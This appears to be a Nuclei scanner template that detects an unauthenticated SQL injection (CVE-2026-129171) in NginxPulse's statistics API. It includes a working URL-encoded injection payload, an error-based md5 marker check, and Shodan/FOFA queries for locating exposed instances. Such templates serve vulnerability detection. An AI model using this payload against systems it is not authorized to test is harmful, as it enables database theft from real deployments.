NginxPulse 1.5.0 before 1.6.26 builds the table name of its statistics queries from the id parameter of the unauthenticated /api/stats/:type endpoint with fmt.Sprintf. An attacker can close the quoted table identifier and append SQL, and PostgreSQL errors are returned in the response, which allows error-based extraction of database contents.
id: CVE-2026-129171
info:
name: NginxPulse 1.5.0 < 1.6.26 - Unauthenticated SQL Injection
author: maulanawirawan
severity: critical
description: |
NginxPulse 1.5.0 before 1.6.26 builds the table name of its statistics queries from the id parameter of the unauthenticated /api/stats/:type endpoint with fmt.Sprintf. An attacker can close the quoted table identifier and append SQL, and PostgreSQL errors are returned in the response, which allows error-based extraction of database contents.
impact: |
Unauthenticated attackers can read the database contents. With the PostgreSQL superuser account of the default Docker deployment they can also read and write server files.
remediation: |
Update NginxPulse to version 1.6.26 or later, or enable access keys.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-129171
- https://github.com/likaia/nginxpulse/issues/103
- https://github.com/likaia/nginxpulse/commit/f9416bea3be892a394cd24a6d4a2afbd8397e926
- https://www.vulncheck.com/advisories/nginxpulse-1.5.0-before-1.6.26-sql-injection-via-api-stats-type
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-129171
epss-score: 0.01941
epss-percentile: 0.80828
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
shodan-query: 'http.title:"NginxPulse"'
fofa-query: title="NginxPulse"
tags: cve,cve2026,nginxpulse,sqli,unauth,vuln
variables:
num: "{{rand_int(100000000, 999999999)}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/api/status"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"log_parsing_website_id\"", "\"setup_required\"", "\"git_commit\"")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/api/stats/overall?timeRange=7d&id=pg_class%22%20CROSS%20JOIN%20(SELECT%20CURRENT_DATE%20AS%20day,%20CAST(md5(%27{{num}}%27)%20AS%20int)%20AS%20pv,%200%20AS%20traffic)%20%22z"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'invalid input syntax for type integer'
- '{{md5(num)}}'
condition: and
- type: status
status:
- 500
# digest: 4a0a00473045022004e01d43b5587b5efda473725714ffd9933d1593f494f21c019abebeb7a52d6a022100958bdebc974c84cbdbc594cb84d5b7e5d3078ba6d4a8034c4745e4deff3e08a2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.